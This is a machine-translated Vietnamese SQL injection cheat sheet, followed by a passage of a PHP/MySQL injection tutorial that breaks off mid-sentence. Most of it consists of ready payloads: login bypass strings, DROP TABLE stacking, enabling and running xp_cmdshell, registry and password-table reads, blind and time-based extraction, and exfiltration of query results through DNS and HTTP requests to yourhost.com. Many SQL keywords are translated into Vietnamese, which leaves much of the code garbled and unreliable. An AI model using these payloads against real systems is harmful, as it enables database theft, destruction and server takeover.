Kiểm tra tập lệnh cho quá trình tiêm sql. Cơ sở dữ liệu INFORMATION_SCHEMA


SQL Injection Cheat Sheet được thiết kế để cung cấp một bản tóm tắt các chi tiết kỹ thuật của các loại lỗ hổng SQL injection khác nhau. Bài báo trình bày các tính năng của SQL injection trong MySQL, Microsoft SQL Server, ORACLEPostgreSQL.

0. Giới thiệu
Trong bài viết này, bạn có thể tìm thấy thông tin kỹ thuật chi tiết về các loại SQL injection khác nhau. Nó có thể hữu ích cho cả các chuyên gia có kinh nghiệm và người mới bắt đầu trong lĩnh vực bảo mật thông tin.

Hiện tại, bản ghi nhớ chỉ chứa thông tin cho MySQL, Microsoft SQL Server và một số dữ liệu cho ORACLE và PostgreSQL. Các phần chứa cú pháp, giải thích và ví dụ về tiêm.

Kí hiệu được sử dụng:
M (MySQL);
S (Máy chủ SQL);
O (Nhà tiên tri);
P (PostgreSQL);
+ (có thể trên các cơ sở dữ liệu khác);
* (yêu cầu điều kiện đặc biệt).

1. Dòng chú thích
Nhận xét thường hữu ích cho việc bỏ qua một phần của yêu cầu.
Cú pháp:
- (SM): Bảng mẫu DROP; -
# (M): Bảng mẫu DROP; #
Ví dụ:
tên người dùng: admin "-
Truy vấn đã tạo: CHỌN * TỪ thành viên WHERE tên người dùng = "quản trị viên" - "VÀ mật khẩu =" mật khẩu "
Điều này sẽ cho phép bạn đăng nhập với tư cách là người dùng quản trị, bỏ qua việc kiểm tra mật khẩu.

2. Chặn bình luận
Với sự trợ giúp của họ, bạn có thể bỏ qua một phần yêu cầu, thay thế khoảng trắng, bỏ qua danh sách đen và xác định phiên bản cơ sở dữ liệu.
Cú pháp:
/ * Nhận xét * / (SM):
DROP / * nhận xét * / bảng mẫu
DR / ** / OP / * bypass_blacklist * / sampletable
CHỌN / * Replace_space * / password / ** / FROM / ** / Thành viên

/ *! MYSQL SQL đặc biệt * / (M): SELECT / *! 32302 1/0, * / 1 FROM tên bảng
Đây là một cú pháp chú thích đặc biệt cho MySQL. Nó cho phép bạn phát hiện phiên bản của MySQL. Nhận xét này sẽ chỉ hoạt động trong MySQL
Ví dụ:
ID: 10; Thành viên DROP TABLE / *
Bỏ qua phần còn lại của truy vấn, giống như nhận xét nội tuyến.

ID: / *! 32302 10 * /
bạn sẽ nhận được phản hồi tương tự như với ID = 10 nếu phiên bản MySQL cao hơn 3.23.02

ID: / *! 32302 1/0, * /
Truy vấn đã tạo: SELECT / *! 32302 1/0, * / 1 FROM tên bảng
Lỗi chia cho 0 sẽ xảy ra nếu máy chủ đang chạy phiên bản MySQL cao hơn 3.23.02

3. Trình tự các yêu cầu
Cho phép bạn thực hiện nhiều yêu cầu cùng một lúc. Điều này hữu ích ở bất kỳ điểm tiêm nào.


Màu xanh lá cây - được hỗ trợ; đen - không được hỗ trợ; xám - không rõ.
Cú pháp:
; (S): CHỌN * TỪ thành viên; Thành viên DROP--
Một yêu cầu đã kết thúc, yêu cầu tiếp theo bắt đầu.
Ví dụ:
ID: 10; thành viên DROP -
Truy vấn đã tạo: SELECT * FROM products WHERE id = 10; Thành viên DROP--
Truy vấn này sẽ loại bỏ bảng thành viên sau một truy vấn bình thường.

4. Câu lệnh điều kiện
Chúng tôi sẽ nhận được phản hồi cho yêu cầu khi điều kiện được đáp ứng. Đây là một trong những điểm mấu chốt của tiêm mù. Chúng cũng giúp kiểm tra chính xác những thứ đơn giản.
Cú pháp:
IF (điều kiện, phần đúng, phần sai) (M): CHỌN IF (1 = 1, "true", "false")
Điều kiện IF true-part ELSE false-part (S): IF (1 = 1) CHỌN "đúng" ELSE CHỌN "sai"
IF điều kiện THEN true-part; ELSE sai phần; HẾT NẾU; CHẤM DỨT; (O): IF (1 = 1) THEN dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); HẾT NẾU; CHẤM DỨT;
CHỌN CASE KHI điều kiện THEN true-part ELSE false-part END; (P): CHỌN TRƯỜNG HỢP KHI (1 = 1) THEN "A" ELSE "B" END;
ví dụ:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
sẽ đưa ra lỗi chia cho không nếu người dùng hiện tại không phải là "sa" hoặc "dbo".

5. Sử dụng số
Được sử dụng để bỏ qua magic_quotes () và các bộ lọc tương tự, bao gồm WAF.
Cú pháp:
0xHEX_NUMBER (SM):
CHỌN CHAR (0x66) (S)
CHỌN 0x5045 (đây không phải là một số mà là một chuỗi) (M)
CHỌN 0x50 + 0x45 (đây là một số) (M)
Ví dụ:
SELECT LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Hiển thị nội dung của tệp c: \ boot.ini

6. Nối chuỗi
Các thao tác hàng có thể giúp bỏ qua các bộ lọc hoặc xác định một cơ sở dữ liệu.
Cú pháp:
+ (S): CHỌN đăng nhập + "-" + mật khẩu TỪ thành viên
|| (* MO): CHỌN đăng nhập || "-" || mật khẩu TỪ thành viên
Sẽ hoạt động nếu MySQL đang chạy ở chế độ ANSI. Nếu không, MySQL sẽ không chấp nhận nó như một toán tử logic và trả về 0. Tốt hơn là sử dụng hàm CONCAT () của MySQL.

CONCAT (str1, str2, str3, ...) (M): CHỌN CONCAT (đăng nhập, mật khẩu) TỪ thành viên

7. Chuỗi không có dấu ngoặc kép
Có một số cách để tránh dấu ngoặc kép trong truy vấn, chẳng hạn như CHAR () (MS) và CONCAT () (M).
Cú pháp:
CHỌN 0x457578 (M)

MySQL có một cách dễ dàng để biểu diễn một chuỗi dưới dạng mã hex:
CHỌN CONCAT ("0x", HEX ("c: \\ boot.ini"))

Trả về chuỗi "KLM":
CHỌN CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
CHỌN CHAR (75) + CHAR (76) + CHAR (77) (S)
CHỌN CHR (75) || CHR (76) || CHR (77) (O)
CHỌN (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Chuyển đổi chuỗi và số.
Cú pháp:
ASCII () (SMP): CHỌN ASCII ("a")
Trả về mã ASCII của ký tự ngoài cùng bên trái. Chức năng được sử dụng để tiêm mù.

CHAR () (SM): CHỌN CHAR (64)
Chuyển đổi mã ASCII thành ký tự tương ứng.

9. Nhà điều hành UNION
Với toán tử UNION, bạn có thể truy vấn giao điểm của các bảng. Về cơ bản, bạn có thể gửi một truy vấn trả về một giá trị từ một bảng khác.
Ví dụ:
CHỌN tiêu đề, txt TỪ tin tức ĐOÀN KẾT TẤT CẢ CHỌN tên, chuyển TỪ thành viên
Điều này sẽ kết hợp các kết quả từ tin tức và bảng thành viên

10. Bỏ qua xác thực (SMO +)
Ví dụ:
quản trị viên" --
quản trị viên" #
quản trị viên"/*
"hoặc 1 = 1--
"hoặc 1 = 1 #
"hoặc 1 = 1 / *
") hoặc" 1 "=" 1--
") hoặc (" 1 "=" 1--

11. Bỏ qua xác thực bằng MD5
Nếu ứng dụng trước tiên so sánh tên người dùng và sau đó so sánh băm md5 của mật khẩu, thì bạn cần một số thủ thuật bổ sung để vượt qua xác thực. Bạn có thể kết hợp các kết quả với một mật khẩu đã biết và hàm băm của nó.
Ví dụ (MSP):
Tên người dùng: admin
Mật khẩu: 1234 "VÀ 1 = 0 ĐOÀN KẾT TẤT CẢ CHỌN" quản trị viên ","
= MD5 (1234)

12. Dựa trên lỗi
12.1 Xác định các cột với HAVING BY (S)
Ví dụ:
Theo thứ tự
"CÓ 1 = 1 -
"GROUP BY table.columnfromerror1 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 CÓ 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 CÓ 1 = 1 -
…………….
Tiếp tục cho đến khi bạn không còn mắc lỗi.

12.2 Xác định số cột bằng ORDER BY (MSO +)
Có thể tăng tốc độ tìm số cột với ORDER BY bằng cách sử dụng UNION.
ĐẶT HÀNG THEO 1--
ĐẶT HÀNG THEO 2--
ĐẶT HÀNG THEO 3-
………………..
Tiếp tục cho đến khi bạn nhận được thông báo lỗi. Điều này sẽ cho biết số lượng cột.

13. Định nghĩa kiểu dữ liệu
Luôn sử dụng UNION với TẤT CẢ.
Để loại bỏ mục nhập bảng không cần thiết, hãy sử dụng -1 bất kỳ giá trị không tồn tại nào ở đầu truy vấn (nếu phần nhập nằm trong tham số WHERE). Điều này rất quan trọng nếu bạn chỉ có thể truy xuất một giá trị tại một thời điểm.
Sử dụng NULL trong các lần tiêm UNION thay vì cố gắng đoán chuỗi, ngày tháng, số, v.v. Nhưng hãy cẩn thận với việc tiêm mù quáng, bởi vì. bạn có thể nhầm lẫn lỗi của cơ sở dữ liệu và chính ứng dụng. Một số ngôn ngữ, chẳng hạn như ASP.NET, gặp lỗi khi sử dụng giá trị NULL (vì nhà phát triển không mong đợi thấy giá trị null trong trường tên người dùng)
Ví dụ:
"union select sum (columntofind) từ người dùng-- (S):
Nếu bạn không gặp lỗi, thì cột đó là số.

SELECT * FROM Table1 WHERE id = -1 UNION TẤT CẢ CHỌN Null, null, NULL, NULL, convert (image, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
Bạn có thể sử dụng CAST () hoặc CONVERT ()

11223344) UNION CHỌN NULL, NULL, NULL, NULL WHERE 1 = 2 -
Nếu không có lỗi, thì cú pháp đúng, tức là sử dụng MS SQL Server.

11223344) UNION CHỌN 1, NULL, NULL, NULL WHERE 1 = 2 ---
Nếu không có lỗi, thì cột đầu tiên là một số.

11223344) ĐOÀN CHỌN 1,2, NULL, NULL WHERE 1 = 2 -
Nếu một lỗi xảy ra, thì cột thứ hai không phải là một số.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 -
Nếu không có lỗi, thì cột thứ hai là một chuỗi.
……………..

14. Chèn đơn giản (MSO +)
Ví dụ:
"; chèn vào người dùng các giá trị (1," hax0r "," coolpass ", 9) / *

15. Thu thập thông tin
Cú pháp:
@@ phiên bản (MS)
Bạn có thể tìm hiểu phiên bản DB và biết thêm chi tiết.
Ví dụ:
CHÈN VÀO thành viên (id, user, pass) GIÁ TRỊ (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Chèn phức tạp (S)
Cho phép bạn chèn nội dung của tệp vào bảng. Nếu bạn không biết đường dẫn nội bộ của ứng dụng web, bạn có thể đọc siêu dữ liệu IIS (chỉ dành cho IIS 6).
Cú pháp:
tệp (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Sau đó, bạn có thể tìm thấy các đường dẫn ứng dụng trong đó.
Ví dụ:
1. Tạo foo bảng (chuỗi như varchar (8000))
2. Chèn vào bảng để tìm nội dung của tệp 'c: \ inetpub \ wwwroot \ login.asp'
3. Xóa bảng tạm thời và lặp lại cho tệp khác.

17.BCP (S)
Viết một tệp văn bản. Điều này yêu cầu thông tin xác thực.
Ví dụ:
bcp "CHỌN * TỪ test..foo" truy vấn c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH trong SQL Server (S)
Bạn có thể sử dụng tập lệnh VBS, WSH trong SQL Server.
Ví dụ:
Tên người dùng: "; khai báo @o int executive sp_oacreate" wscript.shell ", @o out Exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Thực thi các lệnh hệ thống (S)
Thủ thuật đã biết, tính năng này bị tắt theo mặc định trong SQL Server 2005. Bạn cần có quyền quản trị viên.
Ví dụ:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Các bảng đặc biệt trong SQL Server (S)
Ví dụ:
Thông báo lỗi: master..sysmessages
Máy chủ liên quan: master..sysservers
Mật khẩu SQL Server 2000: master..sysxlogins
Mật khẩu SQL Server 2005: sys.sql_logins

21. Nhiều thủ tục được lưu trữ cho SQL Server (S)
Cú pháp:
Thực thi Cmd (xp_cmdshell)
Nội dung đăng ký (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Quản lý Dịch vụ (xp_servicecontrol)
Phương tiện (xp_availablemedia)
Tài nguyên ODBC (xp_enumdsn)
Chế độ đăng nhập (xp_loginconfig)
Tạo tệp Cab (xp_makecab)
Liệt kê tên miền (xp_ntsec_enumdomains)
Xử lý giết (yêu cầu PID) (xp_termina_process)
Thêm thủ tục mới (sp_addextendedproc)
Ghi tệp văn bản vào UNC hoặc đường dẫn nội bộ (sp_makewebtask)
Ví dụ:
thi hành xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ tham số", "nullsessionshares"
thực thi xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ tham số \ validcommunities"
sp_addextendedproc 'xp_webserver', 'c: \ temp \ x.dll'
thi hành xp_webserver

22. Ghi chú hàng loạt MSSQL
Ví dụ:
CHỌN * TỪ chính..sysprocesses / * WHERE [email được bảo vệ]@ SPID * /
DECLARE @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) CHỌN 0 ELSE CHỌN 1/0
HOST_NAME ()
IS_MEMBER (Giao dịch-SQL)
IS_SRVROLEMEMBER (Giao dịch-SQL)
OPENDATASOURCE (Transact-SQL)
CHÈN tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. Chèn SQL trong các truy vấn LIMIT (M)
Ví dụ:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
Để bỏ qua câu lệnh LIMIT, bạn có thể sử dụng UNION hoặc nhận xét.

24. Tắt máy chủ SQL (S)
Ví dụ:
";tắt-

25. Bật xp_cmdshell trong SQL Server 2005
Cú pháp:
Theo mặc định, xp_cmdshell và một số tính năng nguy hiểm tiềm ẩn khác bị tắt trong SQL Server 2005. Với tư cách là quản trị viên, bạn có thể bật chúng.
EXEC sp_configure "hiển thị các tùy chọn nâng cao", 1
CẤU HÌNH
EXEC sp_configure "xp_cmdshell", 1
CẤU HÌNH

26. Tìm cấu trúc DB trong SQL Server (S)
Ví dụ:
CHỌN tên TỪ sysobjects WHERE xtype = "U"

CHỌN tên TỪ syscolumns WHERE id = (CHỌN id TỪ sysobjects WHERE name = "tablenameforcolumnnames")
Lấy tên cột

27. Di chuyển hồ sơ (S)
Ví dụ:
... NƠI người dùng KHÔNG Ở ("Người dùng thứ nhất", "Người dùng thứ hai")
Sử dụng WHERE với KHÔNG VÀO hoặc KHÔNG TỒN TẠI

CHỌN TOP 1 tên TỪ các thành viên CHƯA TỒN TẠI (CHỌN TOP 0 tên TỪ các thành viên)

SELECT * FROM Product WHERE ID = 2 AND 1 = CAST ((Chọn p.name from (SELECT (SELECT COUNT (i.id) AS rid FROM sysobjects i WHERE i.id)<=o.id)
AS x, tên từ sysobjects o) as p trong đó p.x = 3) as int

Chọn p.name từ (CHỌN (CHỌN ĐẾM (i.id) AS thoát khỏi đối tượng hệ thống i WHERE xtype = "U" và i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Cách nhanh chóng để trích xuất dữ liệu từ SQL Injection dựa trên lỗi trong SQL Server (S)
"; BẮT ĐẦU KHAI BÁO @rt varchar (8000) SET @ rd =": "CHỌN @ [email được bảo vệ]+ "" + tên FROM syscolumns WHERE id = (CHỌN id TỪ sysobjects WHERE name = "MEMBERS") VÀ tên> @rd CHỌN @rd AS rd vào TMP_SYS_TMP end; -

29. Tìm kiếm cấu trúc DB trong MySQL (M)
Ví dụ:
CHỌN table_name FROM information_schema.tables WHERE table_schema = "tablename"
Lấy bảng người dùng

CHỌN table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Lấy tên cột

30. Tìm kiếm cấu trúc DB trong Oracle (O)
Ví dụ:
CHỌN * TỪ all_tables WHERE OWNER = "DATABASE_NAME"
Lấy bảng người dùng

CHỌN * TỪ all_col_comments WHERE TABLE_NAME = "BẢNG"
Lấy tên cột

31. Tiêm mù
Trong một ứng dụng chất lượng, bạn sẽ không thể thấy thông báo lỗi. Bạn sẽ không thể sử dụng toán tử UNION và các cuộc tấn công Dựa trên Lỗi. Bạn sẽ phải sử dụng phương pháp tiêm SQL mù để trích xuất dữ liệu. Có hai loại tiêm mù.
Thông thường Blind Injection: Bạn không thể xem kết quả của các yêu cầu trên trang, nhưng bạn có thể xác định kết quả từ phản hồi hoặc trạng thái HTTP.
Phun mù hoàn toàn: Bạn sẽ không thấy bất kỳ sự khác biệt nào trong đầu ra.
Trong tiêm mù thông thường, bạn có thể sử dụng câu lệnh IF và WHERE, trong tiêm mù hoàn toàn, bạn cần sử dụng một số hàm chờ và so sánh thời gian phản hồi. Để thực hiện việc này, bạn có thể sử dụng WAIT FOR DELAY '0: 0: 10' trong SQL Server, BENCHMARK () và sleep (10) trong MySQL, pg_sleep (10) trong PostgreSQL.
Ví dụ:
Ví dụ này dựa trên một khai thác thực tế về tiêm mù trên SQL Server.

ĐÚNG: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 78--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 103--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 89--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 83--

ĐÚNG: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 79--

FALSE: CHỌN ID, Tên người dùng, Email TỪ WHERE ID = 1 VÀ ISNULL (ASCII (SUBSTRING ((CHỌN tên TOP 1 TỪ sysObjects WHERE xtYpe = 0x55 VÀ tên NOT IN (CHỌN tên TOP 0 TỪ sysObjects WHERE xtYpe = 0x55)), 1 , 1)), 0)> 80--

Dựa trên hai truy vấn cuối cùng, chúng tôi biết chính xác giá trị của ký tự đầu tiên trong ascii - đây là 80. Vì vậy, ký tự đầu tiên là `P`. Vì vậy, chúng ta có thể tìm ra tên của các bảng và nội dung của chúng. Một cách khác là đọc dữ liệu từng chút một.

32. Tiêm mù hoàn toàn
Chỉ sử dụng phương pháp này cho những trường hợp tiêm mù thật sự. Hãy cẩn thận với thời gian chờ đợi.
Cú pháp:
CHỜ TRÌ HOÃN "thời gian" (S)
Chức năng này chỉ cần đợi trong thời gian đã định mà không cần tải bộ xử lý.
Ví dụ:
if (select user) = "sa" waitfor delay "0: 0: 10"
ProductID = 1; trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1); trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1 "; trì hoãn chờ đợi" 0: 0: 10 "-
ProductID = 1 "); trì hoãn chờ đợi" 0: 0: 10 "-
ProductID = 1)); trì hoãn chờ đợi "0: 0: 10" -
ProductID = 1 ")); trì hoãn chờ" 0: 0: 10 "-
Cú pháp:
BENCHMARK (bao nhiêu lần, hãy làm điều này) (M)
Ví dụ:
NẾU TỒN TẠI (CHỌN * TỪ người dùng WHERE username = "root") BENCHMARK (1000000000, MD5 (1))
Kiểm tra xem người dùng root có tồn tại hay không.

IF (CHỌN * TỪ đăng nhập) BENCHMARK (1000000, MD5 (1))
Kiểm tra sự tồn tại của một bảng trong MySQL
Cú pháp:
pg_sleep (giây) (P)
Ngủ trong vài giây được cung cấp.

ngủ (giây) (M)
ngủ trong vài giây được cung cấp.

bms_pipe.receive_message (O)
ngủ trong vài giây được cung cấp.
Ví dụ:
(CHỌN TRƯỜNG HỢP KHI (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) THEN dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz" ), 1) KẾT THÚC TỪ kép)
(INJECTION) là yêu cầu của bạn.
Nếu điều kiện là đúng, phản hồi sẽ là 10 giây. Nếu không, phản hồi sẽ là 1 giây.

33. Các chức năng hữu ích của MySQL
Cú pháp:
MD5 ()
SHA1 ()
MẬT KHẨU MỞ KHÓA()
ENCODE ()
COMPRESS ()
ĐẾM SỐ HÀNG()
LƯỢC ĐỒ()
PHIÊN BẢN()

34. Tiêm SQL bậc hai
Thông thường, bạn chèn một truy vấn SQL injection vào một trường và mong đợi nó không bị lọc ra.
Ví dụ:
Tên: "+ (CHỌN 1 mật khẩu HÀNG ĐẦU TỪ người dùng) +"
E-mail: [email được bảo vệ]
Nếu ứng dụng sử dụng tên trường của một thủ tục hoặc chức năng được lưu trữ, thì bạn có thể sử dụng tên đó để tiêm.

35. Sử dụng SQL Server để giải nén hàm băm NTLM
Cuộc tấn công này sẽ giúp lấy mật khẩu người dùng Windows của máy chủ mục tiêu thông qua SQL Server nếu không có quyền truy cập từ bên ngoài. Chúng ta có thể buộc SQL Server kết nối với Windows thông qua đường dẫn UNC và trích xuất phiên NTLM bằng các công cụ đặc biệt như Cain & Abel.

Cú pháp:
Đường dẫn UNC: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Các ví dụ khác về tiêm
Máy chủ SQL:
? dễ bị tổn thươngParam = 1; CHỌN * TỪ OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "CHỌN 1")

? dễ bị tổn thươngParam = 1; DECLARE @q varchar (1024); SET @q = "\\" + ((INJECTION)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @ q
tạo một truy vấn DNS tới (INJECTION) .yourhost.com

(INJECTION) là yêu cầu của bạn.
MySQL:
?rabilityParam = -99 OR (SELECT LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Tạo truy vấn NBNS / DNS tới yourhost.com
?rabilityParam = -99 OR (SELECT ((INJECTION)) VÀO OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Ghi dữ liệu vào tệp của bạn
(INJECTION) là yêu cầu của bạn.
Oracle:
? expandParam = (CHỌN UTL_HTTP.REQUEST ("http: // host / snip.php? hít =" || ((INJECTION)) || "") TỪ KÉP)
Trình đánh hơi sẽ lưu kết quả
?rabilityParam = (CHỌN UTL_HTTP.REQUEST ("http: // host /" || ((INJECTION)) || ".html") TỪ KÉP)
Kết quả sẽ được lưu nhật ký HTTP
?rabilityParam = (CHỌN UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") TỪ KÉP)

?rabilityParam = (CHỌN SYS.DBMS_LDAP.INIT (((INJECTION)) || '.yourhost.com', 80) TỪ KÉP)
Bạn cần phân tích lưu lượng truy cập yêu cầu DNS đến yourhost.com
(INJECTION) là yêu cầu của bạn.

Tài liệu này là bản dịch thích ứng của bài báo SQL Injection Cheat Sheet.

Bản dịch: Nikolai N.


Bất cẩn và không chú ý là hai lý do viết mã dễ bị SQL injection. Lý do thứ ba - sự thiếu hiểu biết, nên khuyến khích lập trình viên đào sâu kiến ​​thức của mình hoặc thậm chí thay đổi nghề nghiệp của mình.

SQL injection ( SQL injection) - lỗ hổng cái nào phát sinh
không đủ xác minh và xử lý dữ liệu
, được chuyển từ người dùng và cho phép bạn sửa đổi và thực thi các truy vấn SQL mà mã chương trình không mong đợi.

SQL injection là một lỗ hổng bảo mật phổ biến trên Internet, dễ bị khai thác mà không cần phần mềm đặc biệt và không yêu cầu kiến ​​thức kỹ thuật sâu.

Việc khai thác lỗ hổng này sẽ mở ra nhiều cơ hội hơn, chẳng hạn như trộm cắp, giả mạo hoặc phá hủy dữ liệu, từ chối dịch vụ, v.v.

Trong bài viết này, tôi sẽ cố gắng giải thích những rủi ro chính phát sinh khi tương tác giữa PHP và cơ sở dữ liệu MySQL.

Để rõ ràng, tôi sẽ đưa ra một ví dụ về cấu trúc cơ sở dữ liệu đơn giản, điển hình cho hầu hết các dự án:

TẠO CƠ SỞ DỮ LIỆU `news`;
SỬ DỤNG `tin tức`;
#
# bảng tin tức
#
TẠO BẢNG `news` (
`id` int (11) KHÔNG NULL auto_increment,
`title` varchar (50) mặc định NULL,
`date` datetime mặc định NULL,
văn bản `văn bản`,
KHÓA CHÍNH (`id`)
) TYPE = MyISAM;
#
# thêm một số dữ liệu
#
CHÈN VÀO `news` (` id`, `title`,` date`, `text`) GIÁ TRỊ (1," tin đầu tiên "," 2005-06-25
16:50:20 "," văn bản tin tức ");
CHÈN VÀO `news` (` id`, `title`,` date`, `text`) GIÁ TRỊ (2," tin thứ hai "," 2005-06-24
12:12:33 "," tin tức thử nghiệm ");
#
# bảng người dùng
#
TẠO BẢNG `người dùng` (
`id` int (11) KHÔNG NULL auto_increment,
`login` varchar (50) mặc định NULL,
`password` varchar (50) mặc định NULL,
`admin` int (1) NULL DEFAULT" 0 ",
KHÓA CHÍNH (`id`)
) TYPE = MyISAM;
#
# thêm một số người dùng, một người có quyền quản trị, một người khác đơn giản
#
CHÈN VÀO `users` (` id`, `login`,` password`, `admin`) VALUES (1," admin "," qwerty ", 1);
INSERT INTO `users` (` id`, `login`,` password`, `admin`) VALUES (2," user "," 1111 ", 0);

Và bây giờ là một mã PHP mẫu:

Chúng tôi thấy rằng yêu cầu được hình thành tùy thuộc vào giá trị của $ _GET ["id"]. Để kiểm tra lỗ hổng, chỉ cần thay đổi nó thành một giá trị có thể gây ra lỗi khi thực hiện truy vấn SQL.

Tất nhiên, có thể không có đầu ra lỗi, nhưng điều này không có nghĩa là không có lỗi.

kết quả là " Bạn có lỗi trong cú pháp SQL của mình; kiểm tra hướng dẫn sử dụng tương ứng với phiên bản máy chủ MySQL của bạn để biết cú pháp phù hợp để sử dụng gần "" "tại dòng 1 "

kết quả "Cột không xác định "1qwerty" trong "mệnh đề where" "

trong sự hiện diện của một lỗ hổng sẽ tạo ra một kết quả tương tự như

Các lỗ hổng tương tự cho phép bạn sửa đổi yêu cầu trong mệnh đề WHERE.

Điều đầu tiên kẻ tấn công sẽ làm khi phát hiện ra một lỗ hổng như vậy là kiểm tra xem có bao nhiêu trường được sử dụng trong yêu cầu. Để làm điều này, một id cố ý không chính xác được đặt để loại trừ đầu ra của thông tin thực và được kết hợp với một yêu cầu có cùng số trường trống.

số lượng "null" phải khớp với số trường được sử dụng trong truy vấn.

Nếu truy vấn ném ra một lỗi, một giá trị trống khác sẽ được thêm vào cho đến khi lỗi biến mất và kết quả có dữ liệu trống được trả về. Tiếp theo, các trường kết hợp được thay thế bằng các giá trị có thể quan sát trực quan trên trang.

bây giờ trên trang mà lẽ ra tiêu đề của tin tức phải được hiển thị, qwerty sẽ hiển thị.

đăng nhập của người dùng cơ sở dữ liệu hiện tại
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

tên của cơ sở dữ liệu để sử dụng
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE (), null, null

Lấy dữ liệu từ các bảng khác:
CHỌN * TỪ `news` WHERE` id` = -1 ĐOÀN KẾT CHỌN null, `mật khẩu`, null, null từ` người dùng` ở đâu `id` = 1
Bằng cách đơn giản như vậy, họ tìm ra mật khẩu hoặc mã băm của mật khẩu quản trị.

Nếu người dùng hiện tại có quyền truy cập vào cơ sở dữ liệu "mysql", kẻ tấn công sẽ lấy được băm mật khẩu quản trị viên mà không gặp bất kỳ vấn đề gì.

Bây giờ việc lựa chọn của anh ấy chỉ là vấn đề thời gian.

Tìm kiếm

Tìm kiếm là một trong những nơi dễ bị tấn công nhất, vì một số lượng lớn các tham số truy vấn được truyền cùng một lúc. Ví dụ về truy vấn đơn giản tìm kiếm từ khóa:
CHỌN * TỪ `news` WHERE` title` LIKE "% $ search%" HOẶC `text` LIKE"% $ search% "
$ search là một từ được gửi từ biểu mẫu.

Kẻ tấn công có thể chuyển $ search = "# vào biến, truy vấn bây giờ sẽ giống như sau:
CHỌN * TỪ `news` WHERE` title` LIKE "%" #% "HOẶC` text` LIKE "%" #% "
Theo đó, thay vì kết quả tìm kiếm cho từ khóa, tất cả dữ liệu sẽ được hiển thị. Nó cũng cho phép bạn sử dụng tính năng tổng hợp truy vấn được mô tả ở trên.

Sử dụng Tham số ĐẶT HÀNG

Bạn thường có thể thấy rằng khi nhập các tham số tìm kiếm hoặc hiển thị thông tin, chúng cho phép người dùng sắp xếp dữ liệu theo các trường nhất định. Tôi sẽ nói ngay rằng việc khai thác lỗ hổng này không quá nguy hiểm, vì nó sẽ gây ra lỗi khi cố gắng kết hợp các yêu cầu, tuy nhiên, khi ghép nối với các lỗ hổng trong các lĩnh vực khác, sẽ có nguy cơ bình luận ra thông số này.

tham số ORDER được hình thành tùy thuộc vào biến $ sort

$ search = "/ *
$ sort = * /

Yêu cầu sau sẽ được tạo:
